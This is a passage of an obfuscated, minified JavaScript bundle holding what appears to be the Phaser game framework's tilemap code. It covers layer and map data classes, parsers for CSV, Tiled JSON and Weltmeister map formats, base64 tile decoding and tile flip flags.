_0x36dd7e, _0x2c268e) => { _0x183e43['exports'] = { 'CalculateFacesAt': _0x2c268e(0x11957), 'CalculateFacesWithin': _0x2c268e(0xa64d), 'CheckIsoBounds': _0x2c268e(0x82f8), 'Copy': _0x2c268e(0x6f9), 'CreateFromTiles': _0x2c268e(0x13253), 'CullBounds': _0x2c268e(0x4c59), 'CullTiles': _0x2c268e(0x7533), 'Fill': _0x2c268e(0x8941), 'FilterTiles': _0x2c268e(0x9d3d), 'FindByIndex': _0x2c268e(0xcdd4), 'FindTile': _0x2c268e(0x10267), 'ForEachTile': _0x2c268e(0x17d18), 'GetCullTilesFunction': _0x2c268e(0xa929), 'GetTileAt': _0x2c268e(0x1cff), 'GetTileAtWorldXY': _0x2c268e(0xec7c), 'GetTileCorners': _0x2c268e(0xda12), 'GetTileCornersFunction': _0x2c268e(0x2dee), 'GetTilesWithin': _0x2c268e(0x1cda), 'GetTilesWithinShape': _0x2c268e(0x16405), 'GetTilesWithinWorldXY': _0x2c268e(0x1790b), 'GetTileToWorldXFunction': _0x2c268e(0x98ff), 'GetTileToWorldXYFunction': _0x2c268e(0xf230), 'GetTileToWorldYFunction': _0x2c268e(0x1760), 'GetWorldToTileXFunction': _0x2c268e(0x17771), 'GetWorldToTileXYFunction': _0x2c268e(0x421e), 'GetWorldToTileYFunction': _0x2c268e(0xd9d2), 'HasTileAt': _0x2c268e(0xb023), 'HasTileAtWorldXY': _0x2c268e(0x5e58), 'HexagonalCullBounds': _0x2c268e(0x16156), 'HexagonalCullTiles': _0x2c268e(0x2502), 'HexagonalGetTileCorners': _0x2c268e(0x6a5d), 'HexagonalTileToWorldXY': _0x2c268e(0x4def), 'HexagonalWorldToTileXY': _0x2c268e(0x15261), 'IsInLayerBounds': _0x2c268e(0xf60f), 'IsometricCullTiles': _0x2c268e(0x36c2), 'IsometricTileToWorldXY': _0x2c268e(0x372f), 'IsometricWorldToTileXY': _0x2c268e(0x17a81), 'PutTileAt': _0x2c268e(0x11786), 'PutTileAtWorldXY': _0x2c268e(0x66bf), 'PutTilesAt': _0x2c268e(0x36e3), 'Randomize': _0x2c268e(0x12e4d), 'RemoveTileAt': _0x2c268e(0xf845), 'RemoveTileAtWorldXY': _0x2c268e(0x16fe2), 'RenderDebug': _0x2c268e(0x3cad), 'ReplaceByIndex': _0x2c268e(0x6d53), 'RunCull': _0x2c268e(0x7ee3), 'SetCollision': _0x2c268e(0xdeec), 'SetCollisionBetween': _0x2c268e(0x9192), 'SetCollisionByExclusion': _0x2c268e(0x1278d), 'SetCollisionByProperty': _0x2c268e(0xfce4), 'SetCollisionFromCollisionGroup': _0x2c268e(0xf74b), 'SetLayerCollisionIndex': _0x2c268e(0x2575), 'SetTileCollision': _0x2c268e(0x5060), 'SetTileIndexCallback': _0x2c268e(0x136df), 'SetTileLocationCallback': _0x2c268e(0x16c46), 'Shuffle': _0x2c268e(0x8087), 'StaggeredCullBounds': _0x2c268e(0xef8d), 'StaggeredCullTiles': _0x2c268e(0xd4e7), 'StaggeredTileToWorldXY': _0x2c268e(0x17bb2), 'StaggeredTileToWorldY': _0x2c268e(0x6d96), 'StaggeredWorldToTileXY': _0x2c268e(0x3b04), 'StaggeredWorldToTileY': _0x2c268e(0xcabc), 'SwapByIndex': _0x2c268e(0x15220), 'TileToWorldX': _0x2c268e(0x17c01), 'TileToWorldXY': _0x2c268e(0x112b6), 'TileToWorldY': _0x2c268e(0x73d2), 'WeightedRandomize': _0x2c268e(0x12e36), 'WorldToTileX': _0x2c268e(0x276f), 'WorldToTileXY': _0x2c268e(0x14f88), 'WorldToTileY': _0x2c268e(0xf738) }; }, 0x16703: _0x58549f => { _0x58549f['exports'] = { 'ORTHOGONAL': 0x0, 'ISOMETRIC': 0x1, 'STAGGERED': 0x2, 'HEXAGONAL': 0x3 }; }, 0x5545: (_0x3ecb4f, _0x4d524f, _0x1ccdb9) => { var _0x4d07b7 = { 'ORIENTATION': _0x1ccdb9(0x16703) }; _0x3ecb4f['exports'] = _0x4d07b7; }, 0xf425: (_0x3ee405, _0x5aafd5, _0x2e59a5) => { var _0xd0ec5a = _0x2e59a5(0x135bb), _0x2834c9 = _0x2e59a5(0x5545), _0x37a3d7 = { 'Components': _0x2e59a5(0x13cbe), 'Parsers': _0x2e59a5(0xe062), 'Formats': _0x2e59a5(0x139d5), 'ImageCollection': _0x2e59a5(0x4098), 'ParseToTilemap': _0x2e59a5(0x7cf5), 'Tile': _0x2e59a5(0x59f5), 'Tilemap': _0x2e59a5(0xbfb3), 'TilemapCreator': _0x2e59a5(0xb373), 'TilemapFactory': _0x2e59a5(0xb3cd), 'Tileset': _0x2e59a5(0x835d), 'TilemapLayer': _0x2e59a5(0x4fda), 'Orientation': _0x2e59a5(0x16703), 'LayerData': _0x2e59a5(0x3a81), 'MapData': _0x2e59a5(0x153e2), 'ObjectLayer': _0x2e59a5(0xbe3c) }; _0x37a3d7 = _0xd0ec5a(!0x1, _0x37a3d7, _0x2834c9['ORIENTATION']), _0x3ee405['exports'] = _0x37a3d7; }, 0x3a81: (_0x53bf41, _0x293b63, _0x28d4b9) => { var _0x2b5db4 = _0x28d4b9(0x145db), _0x476092 = _0x28d4b9(0x16703), _0x9a1bcd = _0x28d4b9(0x17534), _0x16a55d = new _0x2b5db4({ 'initialize': function (_0x12c26c) { void 0x0 === _0x12c26c && (_0x12c26c = {}), this['name'] = _0x9a1bcd(_0x12c26c, 'name', 'layer'), this['id'] = _0x9a1bcd(_0x12c26c, 'id', 0x0), this['x'] = _0x9a1bcd(_0x12c26c, 'x', 0x0), this['y'] = _0x9a1bcd(_0x12c26c, 'y', 0x0), this['width'] = _0x9a1bcd(_0x12c26c, 'width', 0x0), this['height'] = _0x9a1bcd(_0x12c26c, 'height', 0x0), this['tileWidth'] = _0x9a1bcd(_0x12c26c, 'tileWidth', 0x0), this['tileHeight'] = _0x9a1bcd(_0x12c26c, 'tileHeight', 0x0), this['baseTileWidth'] = _0x9a1bcd(_0x12c26c, 'baseTileWidth', this['tileWidth']), this['baseTileHeight'] = _0x9a1bcd(_0x12c26c, 'baseTileHeight', this['tileHeight']), this['orientation'] = _0x9a1bcd(_0x12c26c, 'orientation', _0x476092['ORTHOGONAL']), this['widthInPixels'] = _0x9a1bcd(_0x12c26c, 'widthInPixels', this['width'] * this['baseTileWidth']), this['heightInPixels'] = _0x9a1bcd(_0x12c26c, 'heightInPixels', this['height'] * this['baseTileHeight']), this['alpha'] = _0x9a1bcd(_0x12c26c, 'alpha', 0x1), this['visible'] = _0x9a1bcd(_0x12c26c, 'visible', !0x0), this['properties'] = _0x9a1bcd(_0x12c26c, 'properties', []), this['indexes'] = _0x9a1bcd(_0x12c26c, 'indexes', []), this['collideIndexes'] = _0x9a1bcd(_0x12c26c, 'collideIndexes', []), this['callbacks'] = _0x9a1bcd(_0x12c26c, 'callbacks', []), this['bodies'] = _0x9a1bcd(_0x12c26c, 'bodies', []), this['data'] = _0x9a1bcd(_0x12c26c, 'data', []), this['tilemapLayer'] = _0x9a1bcd(_0x12c26c, 'tilemapLayer', null), this['hexSideLength'] = _0x9a1bcd(_0x12c26c, 'hexSideLength', 0x0), this['staggerAxis'] = _0x9a1bcd(_0x12c26c, 'staggerAxis', 'y'), this['staggerIndex'] = _0x9a1bcd(_0x12c26c, 'staggerIndex', 'odd'); } }); _0x53bf41['exports'] = _0x16a55d; }, 0x153e2: (_0x4466d3, _0x211dcf, _0x119910) => { var _0xeaaa35 = _0x119910(0x145db), _0x5dcee2 = _0x119910(0x16703), _0x519a5a = _0x119910(0x17534), _0x413388 = new _0xeaaa35({ 'initialize': function (_0x1c487e) { void 0x0 === _0x1c487e && (_0x1c487e = {}), this['name'] = _0x519a5a(_0x1c487e, 'name', 'map'), this['width'] = _0x519a5a(_0x1c487e, 'width', 0x0), this['height'] = _0x519a5a(_0x1c487e, 'height', 0x0), this['infinite'] = _0x519a5a(_0x1c487e, 'infinite', !0x1), this['tileWidth'] = _0x519a5a(_0x1c487e, 'tileWidth', 0x0), this['tileHeight'] = _0x519a5a(_0x1c487e, 'tileHeight', 0x0), this['widthInPixels'] = _0x519a5a(_0x1c487e, 'widthInPixels', this['width'] * this['tileWidth']), this['heightInPixels'] = _0x519a5a(_0x1c487e, 'heightInPixels', this['height'] * this['tileHeight']), this['format'] = _0x519a5a(_0x1c487e, 'format', null), this['orientation'] = _0x519a5a(_0x1c487e, 'orientation', _0x5dcee2['ORTHOGONAL']), this['renderOrder'] = _0x519a5a(_0x1c487e, 'renderOrder', 'right-down'), this['version'] = _0x519a5a(_0x1c487e, 'version', '1'), this['properties'] = _0x519a5a(_0x1c487e, 'properties', {}), this['layers'] = _0x519a5a(_0x1c487e, 'layers', []), this['images'] = _0x519a5a(_0x1c487e, 'images', []), this['objects'] = _0x519a5a(_0x1c487e, 'objects', []), Array['isArray'](this['objects']) || (this['objects'] = []), this['collision'] = _0x519a5a(_0x1c487e, 'collision', {}), this['tilesets'] = _0x519a5a(_0x1c487e, 'tilesets', []), this['imageCollections'] = _0x519a5a(_0x1c487e, 'imageCollections', []), this['tiles'] = _0x519a5a(_0x1c487e, 'tiles', []), this['hexSideLength'] = _0x519a5a(_0x1c487e, 'hexSideLength', 0x0), this['staggerAxis'] = _0x519a5a(_0x1c487e, 'staggerAxis', 'y'), this['staggerIndex'] = _0x519a5a(_0x1c487e, 'staggerIndex', 'odd'); } }); _0x4466d3['exports'] = _0x413388; }, 0xbe3c: (_0x35b97, _0x244f6f, _0x5cb21d) => { var _0x30bec0 = _0x5cb21d(0x145db), _0x331bb7 = _0x5cb21d(0x17534), _0x1f0066 = new _0x30bec0({ 'initialize': function (_0x51cbf0) { void 0x0 === _0x51cbf0 && (_0x51cbf0 = {}), this['name'] = _0x331bb7(_0x51cbf0, 'name', 'object\x20layer'), this['id'] = _0x331bb7(_0x51cbf0, 'id', 0x0), this['opacity'] = _0x331bb7(_0x51cbf0, 'opacity', 0x1), this['properties'] = _0x331bb7(_0x51cbf0, 'properties', {}), this['propertyTypes'] = _0x331bb7(_0x51cbf0, 'propertytypes', {}), this['type'] = _0x331bb7(_0x51cbf0, 'type', 'objectgroup'), this['visible'] = _0x331bb7(_0x51cbf0, 'visible', !0x0), this['objects'] = _0x331bb7(_0x51cbf0, 'objects', []), Array['isArray'](this['objects']) || (this['objects'] = []); } }); _0x35b97['exports'] = _0x1f0066; }, 0x19f1: (_0x469244, _0x3d3703, _0x4cb2c9) => { var _0x5301e4 = _0x4cb2c9(0x16703); _0x469244['exports'] = function (_0xbcff) { return 'isometric' === (_0xbcff = _0xbcff['toLowerCase']()) ? _0x5301e4['ISOMETRIC'] : 'staggered' === _0xbcff ? _0x5301e4['STAGGERED'] : 'hexagonal' === _0xbcff ? _0x5301e4['HEXAGONAL'] : _0x5301e4['ORTHOGONAL']; }; }, 0xb461: (_0x32f0be, _0x1af2b1, _0x4376fc) => { var _0x56ab26 = _0x4376fc(0x139d5), _0x4dd535 = _0x4376fc(0x926), _0x4ec900 = _0x4376fc(0x142a1), _0x498cc6 = _0x4376fc(0xb602), _0x1a6e57 = _0x4376fc(0x153ed); _0x32f0be['exports'] = function (_0x46fefc, _0x3cec5d, _0x4cdacf, _0x24685d, _0x2de40c, _0x4b48ab) { var _0x9f605; switch (_0x3cec5d) { case _0x56ab26['ARRAY_2D']: _0x9f605 = _0x4dd535(_0x46fefc, _0x4cdacf, _0x24685d, _0x2de40c, _0x4b48ab); break; case _0x56ab26['CSV']: _0x9f605 = _0x4ec900(_0x46fefc, _0x4cdacf, _0x24685d, _0x2de40c, _0x4b48ab); break; case _0x56ab26['TILED_JSON']: _0x9f605 = _0x498cc6(_0x46fefc, _0x4cdacf, _0x4b48ab); break; case _0x56ab26['WELTMEISTER']: _0x9f605 = _0x1a6e57(_0x46fefc, _0x4cdacf, _0x4b48ab); break; default: _0x9f605 = null; }return _0x9f605; }; }, 0x926: (_0x28a6c2, _0x38788b, _0x5b74a1) => { var _0x3a7174 = _0x5b74a1(0x139d5), _0x40eae5 = _0x5b74a1(0x3a81), _0x51d0d5 = _0x5b74a1(0x153e2), _0x139044 = _0x5b74a1(0x59f5); _0x28a6c2['exports'] = function (_0x1a9c55, _0x24872c, _0x187a07, _0x1a415d, _0x2cbe18) { for (var _0x1d9276 = new _0x40eae5({ 'tileWidth': _0x187a07, 'tileHeight': _0x1a415d }), _0x3f7883 = new _0x51d0d5({ 'name': _0x1a9c55, 'tileWidth': _0x187a07, 'tileHeight': _0x1a415d, 'format': _0x3a7174['ARRAY_2D'], 'layers': [_0x1d9276] }), _0x9ff13d = [], _0x38f5de = _0x24872c['length'], _0x20bb05 = 0x0, _0xcb5a7f = 0x0; _0xcb5a7f < _0x24872c['length']; _0xcb5a7f++) { _0x9ff13d[_0xcb5a7f] = []; for (var _0x2c1d58 = _0x24872c[_0xcb5a7f], _0xeb3470 = 0x0; _0xeb3470 < _0x2c1d58['length']; _0xeb3470++) { var _0x3b0f26 = parseInt(_0x2c1d58[_0xeb3470], 0xa); isNaN(_0x3b0f26) || -0x1 === _0x3b0f26 ? _0x9ff13d[_0xcb5a7f][_0xeb3470] = _0x2cbe18 ? null : new _0x139044(_0x1d9276, -0x1, _0xeb3470, _0xcb5a7f, _0x187a07, _0x1a415d) : _0x9ff13d[_0xcb5a7f][_0xeb3470] = new _0x139044(_0x1d9276, _0x3b0f26, _0xeb3470, _0xcb5a7f, _0x187a07, _0x1a415d); } 0x0 === _0x20bb05 && (_0x20bb05 = _0x2c1d58['length']); } return _0x3f7883['width'] = _0x1d9276['width'] = _0x20bb05, _0x3f7883['height'] = _0x1d9276['height'] = _0x38f5de, _0x3f7883['widthInPixels'] = _0x1d9276['widthInPixels'] = _0x20bb05 * _0x187a07, _0x3f7883['heightInPixels'] = _0x1d9276['heightInPixels'] = _0x38f5de * _0x1a415d, _0x1d9276['data'] = _0x9ff13d, _0x3f7883; }; }, 0x142a1: (_0x7175d1, _0x3420b3, _0x3877f3) => { var _0x1a9684 = _0x3877f3(0x139d5), _0x5390e6 = _0x3877f3(0x926); _0x7175d1['exports'] = function (_0x45d0b6, _0x40673f, _0x4702fb, _0x1756de, _0x4a6dc1) { var _0x181900 = _0x40673f['trim']()['split']('\x0a')['map'](function (_0x5cf9cb) { return _0x5cf9cb['split'](','); }), _0x384937 = _0x5390e6(_0x45d0b6, _0x181900, _0x4702fb, _0x1756de, _0x4a6dc1); return _0x384937['format'] = _0x1a9684['CSV'], _0x384937; }; }, 0x1a00: (_0xbe2415, _0x3f8491, _0x259613) => { var _0x5b1ec1 = _0x259613(0x3a81), _0x59cc7e = _0x259613(0x59f5); _0xbe2415['exports'] = function (_0x540ceb, _0x162510) { for (var _0x3da73e = [], _0xe2e406 = 0x0; _0xe2e406 < _0x540ceb['layer']['length']; _0xe2e406++) { for (var _0x25f78f = _0x540ceb['layer'][_0xe2e406], _0x21b66f = new _0x5b1ec1({ 'name': _0x25f78f['name'], 'width': _0x25f78f['width'], 'height': _0x25f78f['height'], 'tileWidth': _0x25f78f['tilesize'], 'tileHeight': _0x25f78f['tilesize'], 'visible': 0x1 === _0x25f78f['visible'] }), _0x363886 = [], _0x4c5f53 = [], _0x21b8b0 = 0x0; _0x21b8b0 < _0x25f78f['data']['length']; _0x21b8b0++) { for (var _0x101b1e = 0x0; _0x101b1e < _0x25f78f['data'][_0x21b8b0]['length']; _0x101b1e++) { var _0x24c66e, _0x551e63 = _0x25f78f['data'][_0x21b8b0][_0x101b1e] - 0x1; _0x24c66e = _0x551e63 > -0x1 ? new _0x59cc7e(_0x21b66f, _0x551e63, _0x101b1e, _0x21b8b0, _0x25f78f['tilesize'], _0x25f78f['tilesize']) : _0x162510 ? null : new _0x59cc7e(_0x21b66f, -0x1, _0x101b1e, _0x21b8b0, _0x25f78f['tilesize'], _0x25f78f['tilesize']), _0x363886['push'](_0x24c66e); } _0x4c5f53['push'](_0x363886), _0x363886 = []; } _0x21b66f['data'] = _0x4c5f53, _0x3da73e['push'](_0x21b66f); } return _0x3da73e; }; }, 0x178e3: (_0x4c854f, _0x2f9785, _0x3d1fce) => { var _0x1ab52d = _0x3d1fce(0x835d); _0x4c854f['exports'] = function (_0x133681) { for (var _0x5aecb3 = [], _0x54c596 = [], _0x499db9 = 0x0; _0x499db9 < _0x133681['layer']['length']; _0x499db9++) { var _0x4c8dd3 = _0x133681['layer'][_0x499db9], _0x1f56d2 = _0x4c8dd3['tilesetName']; '' !== _0x1f56d2 && -0x1 === _0x54c596['indexOf'](_0x1f56d2) && (_0x54c596['push'](_0x1f56d2), _0x5aecb3['push'](new _0x1ab52d(_0x1f56d2, 0x0, _0x4c8dd3['tilesize'], _0x4c8dd3['tilesize'], 0x0, 0x0))); } return _0x5aecb3; }; }, 0x153ed: (_0x51c63c, _0x5cdcbd, _0x29e4d9) => { var _0x52fcba = _0x29e4d9(0x139d5), _0x91b902 = _0x29e4d9(0x153e2), _0x3641c8 = _0x29e4d9(0x1a00), _0xa9719b = _0x29e4d9(0x178e3); _0x51c63c['exports'] = function (_0x4f80c2, _0xbe9cc1, _0x4fc634) { if (0x0 === _0xbe9cc1['layer']['length']) return null; for (var _0x1629c8 = 0x0, _0x513842 = 0x0, _0x420c72 = 0x0; _0x420c72 < _0xbe9cc1['layer']['length']; _0x420c72++)_0xbe9cc1['layer'][_0x420c72]['width'] > _0x1629c8 && (_0x1629c8 = _0xbe9cc1['layer'][_0x420c72]['width']), _0xbe9cc1['layer'][_0x420c72]['height'] > _0x513842 && (_0x513842 = _0xbe9cc1['layer'][_0x420c72]['height']); var _0x488ed6 = new _0x91b902({ 'width': _0x1629c8, 'height': _0x513842, 'name': _0x4f80c2, 'tileWidth': _0xbe9cc1['layer'][0x0]['tilesize'], 'tileHeight': _0xbe9cc1['layer'][0x0]['tilesize'], 'format': _0x52fcba['WELTMEISTER'] }); return _0x488ed6['layers'] = _0x3641c8(_0xbe9cc1, _0x4fc634), _0x488ed6['tilesets'] = _0xa9719b(_0xbe9cc1), _0x488ed6; }; }, 0xce61: (_0x24b30f, _0x4236f6, _0x58fcd8) => { _0x24b30f['exports'] = { 'ParseTileLayers': _0x58fcd8(0x1a00), 'ParseTilesets': _0x58fcd8(0x178e3), 'ParseWeltmeister': _0x58fcd8(0x153ed) }; }, 0xe062: (_0x3d4330, _0x2e0d39, _0x1e5cda) => { _0x3d4330['exports'] = { 'FromOrientationString': _0x1e5cda(0x19f1), 'Parse': _0x1e5cda(0xb461), 'Parse2DArray': _0x1e5cda(0x926), 'ParseCSV': _0x1e5cda(0x142a1), 'Impact': _0x1e5cda(0xce61), 'Tiled': _0x1e5cda(0x179f9) }; }, 0xc821: (_0x1bb0fe, _0x37e73e, _0xe0c140) => { var _0x3b39bf = _0xe0c140(0x135bb); _0x1bb0fe['exports'] = function (_0x115766) { for (var _0x18262f, _0x55fb6d, _0x503b89, _0x26ad45, _0x7230b1, _0x3dbc00 = 0x0; _0x3dbc00 < _0x115766['layers']['length']; _0x3dbc00++) { _0x18262f = _0x115766['layers'][_0x3dbc00], _0x26ad45 = null; for (var _0x3406b4 = 0x0; _0x3406b4 < _0x18262f['data']['length']; _0x3406b4++) { _0x7230b1 = _0x18262f['data'][_0x3406b4]; for (var _0xff7a6c = 0x0; _0xff7a6c < _0x7230b1['length']; _0xff7a6c++)null === (_0x55fb6d = _0x7230b1[_0xff7a6c]) || _0x55fb6d['index'] < 0x0 || (_0x503b89 = _0x115766['tiles'][_0x55fb6d['index']][0x2], _0x26ad45 = _0x115766['tilesets'][_0x503b89], _0x55fb6d['width'] = _0x26ad45['tileWidth'], _0x55fb6d['height'] = _0x26ad45['tileHeight'], _0x26ad45['tileProperties'] && _0x26ad45['tileProperties'][_0x55fb6d['index'] - _0x26ad45['firstgid']] && (_0x55fb6d['properties'] = _0x3b39bf(_0x55fb6d['properties'], _0x26ad45['tileProperties'][_0x55fb6d['index'] - _0x26ad45['firstgid']]))); } } }; }, 0xa38c: _0x52ed73 => { _0x52ed73['exports'] = function (_0x3b3994) { for (var _0x33c690 = window['atob'](_0x3b3994), _0x509ec4 = _0x33c690['length'], _0x1739a1 = new Array(_0x509ec4 / 0x4), _0x3531f3 = 0x0; _0x3531f3 < _0x509ec4; _0x3531f3 += 0x4)_0x1739a1[_0x3531f3 / 0x4] = (_0x33c690['charCodeAt'](_0x3531f3) | _0x33c690['charCodeAt'](_0x3531f3 + 0x1) << 0x8 | _0x33c690['charCodeAt'](_0x3531f3 + 0x2) << 0x10 | _0x33c690['charCodeAt'](_0x3531f3 + 0x3) << 0x18) >>> 0x0; return _0x1739a1; }; }, 0x14885: (_0x2a23bb, _0x181d3b, _0x488440) => { var _0x33cf02 = _0x488440(0x835d); _0x2a23bb['exports'] = function (_0x3098ab) { var _0x346308, _0x2e810e, _0x153e91 = []; for (_0x346308 = 0x0; _0x346308 < _0x3098ab['imageCollections']['length']; _0x346308++)for (var _0x1603bf = _0x3098ab['imageCollections'][_0x346308], _0x5bd897 = _0x1603bf['images'], _0x1d4d48 = 0x0; _0x1d4d48 < _0x5bd897['length']; _0x1d4d48++) { var _0x5de02f = _0x5bd897[_0x1d4d48]; (_0x2e810e = new _0x33cf02(_0x5de02f['image'], _0x5de02f['gid'], _0x1603bf['imageWidth'], _0x1603bf['imageHeight'], 0x0, 0x0))['updateTileData'](_0x1603bf['imageWidth'], _0x1603bf['imageHeight']), _0x3098ab['tilesets']['push'](_0x2e810e); } for (_0x346308 = 0x0; _0x346308 < _0x3098ab['tilesets']['length']; _0x346308++)for (var _0x329b52 = (_0x2e810e = _0x3098ab['tilesets'][_0x346308])['tileMargin'], _0x4bbfa9 = _0x2e810e['tileMargin'], _0x19da00 = 0x0, _0x1b308a = 0x0, _0x170a7c = 0x0, _0x5e7da2 = _0x2e810e['firstgid']; _0x5e7da2 < _0x2e810e['firstgid'] + _0x2e810e['total'] && (_0x153e91[_0x5e7da2] = [_0x329b52, _0x4bbfa9, _0x346308], _0x329b52 += _0x2e810e['tileWidth'] + _0x2e810e['tileSpacing'], ++_0x19da00 !== _0x2e810e['total']) && (++_0x1b308a !== _0x2e810e['columns'] || (_0x329b52 = _0x2e810e['tileMargin'], _0x4bbfa9 += _0x2e810e['tileHeight'] + _0x2e810e['tileSpacing'], _0x1b308a = 0x0, ++_0x170a7c !== _0x2e810e['rows'])); _0x5e7da2++); return _0x153e91; }; }, 0x1373d: (_0x2978ee, _0x49b92a, _0x2eea0d) => { var _0x29236d = _0x2eea0d(0x17534); _0x2978ee['exports'] = function (_0x1b3440, _0x49f6c5, _0x335f86) { if (!_0x49f6c5) return { 'i': 0x0, 'layers': _0x1b3440['layers'], 'name': '', 'opacity': 0x1, 'visible': !0x0, 'x': 0x0, 'y': 0x0 }; var _0x573776 = _0x49f6c5['x'] + _0x29236d(_0x49f6c5, 'startx', 0x0) * _0x1b3440['tilewidth'] + _0x29236d(_0x49f6c5, 'offsetx', 0x0), _0x70d229 = _0x49f6c5['y'] + _0x29236d(_0x49f6c5, 'starty', 0x0) * _0x1b3440['tileheight'] + _0x29236d(_0x49f6c5, 'offsety', 0x0); return { 'i': 0x0, 'layers': _0x49f6c5['layers'], 'name': _0x335f86['name'] + _0x49f6c5['name'] + '/', 'opacity': _0x335f86['opacity'] * _0x49f6c5['opacity'], 'visible': _0x335f86['visible'] && _0x49f6c5['visible'], 'x': _0x335f86['x'] + _0x573776, 'y': _0x335f86['y'] + _0x70d229 }; }; }, 0x74e0: _0x346018 => { var _0x5bb08a = 0x80000000, _0x27be7a = 0x40000000, _0x4b626f = 0x20000000; _0x346018['exports'] = function (_0x2384cb) { var _0x191a6a = Boolean(_0x2384cb & _0x5bb08a), _0x34b71e = Boolean(_0x2384cb & _0x27be7a), _0x4210e9 = Boolean(_0x2384cb & _0x4b626f); _0x2384cb &= 0x1fffffff; var _0x22e7f5 = 0x0, _0x582345 = !0x1; return _0x191a6a && _0x34b71e && _0x4210e9 ? (_0x22e7f5 = Math['PI'] / 0x2, _0x582345 = !0x0) : _0x191a6a && _0x34b71e && !_0x4210e9 ? (_0x22e7f5 = Math['PI'], _0x582345 = !0x1) : _0x191a6a && !_0x34b71e && _0x4210e9 ? (_0x22e7f5 = Math['PI'] / 0x2, _0x582345 = !0x1) : !_0x191a6a || _0x34b71e || _0x4210e9 ? !_0x191a6a && _0x34b71e && _0x4210e9 ? (_0x22e7f5 = 0x3 * Math['PI'] / 0x2, _0x582345 = !0x1) : _0x191a6a || !_0x34b71e || _0x4210e9 ? _0x191a6a || _0x34b71e || !_0x4210e9 ? _0x191a6a || _0x34b71e || _0x4210e9 || (_0x22e7f5 = 0x0, _0x582345 = !0x1) : (_0x22e7f5 = 0x3 * Math['PI'] / 0x2, _0x582345 = !0x0) : (_0x22e7f5 = Math['PI'], _0x582345 = !0x0) : (_0x22e7f5 = 0x0, _0x582345 = !0x0), { 'gid': _0x2384cb, 'flippedHorizontal': _0x191a6a, 'flippedVertical': _0x34b71e, 'flippedAntiDiagonal': _0x4210e9, 'rotation': _0x22e7f5, 'flipped': _0x582345 }; }; }, 0x315b: (_0x4cfd2f, _0x2cb3a5, _0x593fea) => { var _0x27f862 = _0x593fea(0x17534), _0xd54cd4 = _0x593fea(0x1373d); _0x4cfd2f['exports'] = function (_0x52a281) { for (var _0xa27585 = [], _0x2afe47 = [], _0x2a266 = _0xd54cd4(_0x52a281); _0x2a266['i'] < _0x2a266['layers']['length'] || _0x2afe47['length'] > 0x0;)if (_0x2a266['i'] >= _0x2a266['layers']['length']) { if (_0x2afe47['length'] < 0x1) break; _0x2a266 = _0x2afe47['pop'](); } else { var _0x17346e = _0x2a266['layers'][_0x2a266['i']]; if (_0x2a266['i']++, 'imagelayer' === _0x17346e['type']) { var _0x55ad78 = _0x27f862(_0x17346e, 'offsetx', 0x0) + _0x27f862(_0x17346e, 'startx', 0x0), _0x32eb6e = _0x27f862(_0x17346e, 'offsety', 0x0) + _0x27f862(_0x17346e, 'starty', 0x0); _0xa27585['push']({ 'name': _0x2a266['name'] + _0x17346e['name'], 'image': _0x17346e['image'], 'x': _0x2a266['x'] + _0x55ad78 + _0x17346e['x'], 'y': _0x2a266['y'] + _0x32eb6e + _0x17346e['y'], 'alpha': _0x2a266['opacity'] * _0x17346e['opacity'], 'visible': _0x2a266['visible'] && _0x17346e['visible'], 'properties': _0x27f862(_0x17346e, 'properties', {}) }); } else { if ('group' === _0x17346e['type']) { var _0x7acd8f = _0xd54cd4(_0x52a281, _0x17346e, _0x2a266); _0x2afe47['push'](_0x2a266), _0x2a266 = _0x7acd8f; } } } return _0xa27585; }; }, 0xb602: (_0x4429fd, _0x317138, _0x4913d3) => { var _0x490d28 = _0x4913d3(0xc821), _0x39faad = _0x4913d3(0x14885), _0x508a94 = _0x4913d3(0x16703), _0x4e7f17 = _0x4913d3(0xf4b4), _0x4ac578 = _0x4913d3(0x139d5), _0x204c3d = _0x4913d3(0x19f1), _0x11cf9b = _0x4913d3(0x153e2), _0x3f899d = _0x4913d3(0x315b), _0x15e052 = _0x4913d3(0x5853), _0x2d012e = _0x4913d3(0x6e28), _0x10b3b3 = _0x4913d3(0x602b); _0x4429fd['exports'] = function (_0xe11c34, _0x3c8200, _0x34341e) { var _0x56d677 = _0x4e7f17(_0x3c8200), _0xa534cf = new _0x11cf9b({ 'width': _0x56d677['width'], 'height': _0x56d677['height'], 'name': _0xe11c34, 'tileWidth': _0x56d677['tilewidth'], 'tileHeight': _0x56d677['tileheight'], 'orientation': _0x204c3d(_0x56d677['orientation']), 'format': _0x4ac578['TILED_JSON'], 'version': _0x56d677['version'], 'properties': _0x56d677['properties'], 'renderOrder': _0x56d677['renderorder'], 'infinite': _0x56d677['infinite'] }); _0xa534cf['orientation'] === _0x508a94['HEXAGONAL'] && (_0xa534cf['hexSideLength'] = _0x56d677['hexsidelength'], _0xa534cf['staggerAxis'] = _0x56d677['staggeraxis'], _0xa534cf['staggerIndex'] = _0x56d677['staggerindex']), _0xa534cf['layers'] = _0x2d012e(_0x56d677, _0x34341e), _0xa534cf['images'] = _0x3f899d(_0x56d677); var _0x53d614 = _0x10b3b3(_0x56d677); return _0xa534cf['tilesets'] = _0x53d614['tilesets'], _0xa534cf['imageCollections'] = _0x53d614['imageCollections'], _0xa534cf['objects'] = _0x15e052(_0x56d677), _0xa534cf['tiles'] = _0x39faad(_0xa534cf), _0x490d28(_0xa534cf), _0xa534cf; }; }, 0xcbed: (_0x5451e8, _0x25fff2, _0x2a633d) => { var _0x3dbd3c = _0x2a633d(0x474e), _0x33cd80 = _0x2a633d(0x74e0), _0x553520 = function (_0x2b905a) { return { 'x': _0x2b905a['x'], 'y': _0x2b905a['y'] }; }, _0x3cbeb0 = ['id', 'name', 'type', 'rotation', 'properties', 'visible', 'x', 'y', 'width', 'height']; _0x5451e8['exports'] = function (_0x59418b, _0x5ae7b5, _0x55bed2) { void 0x0 === _0x5ae7b5 && (_0x5ae7b5 = 0x0), void 0x0 === _0x55bed2 && (_0x55bed2 = 0x0); var _0x61934 = _0x3dbd3c(_0x59418b, _0x3cbeb0); if (_0x61934['x'] += _0x5ae7b5, _0x61934['y'] += _0x55bed2, _0x59418b['gid']) { var _0x5cd163 = _0x33cd80(_0x59418b['gid']); _0x61934['gid'] = _0x5cd163['gid'], _0x61934['flippedHorizontal'] = _0x5cd163['flippedHorizontal'], _0x61934['flippedVertical'] = _0x5cd163['flippedVertical'], _0x61934['flippedAntiDiagonal'] = _0x5cd163['flippedAntiDiagonal']; } else _0x59418b['polyline'] ? _0x61934['polyline'] = _0x59418b['polyline']['map'](_0x553520) : _0x59418b['polygon'] ? _0x61934['polygon'] = _0x59418b['polygon']['map'](_0x553520) : _0x59418b['ellipse'] ? 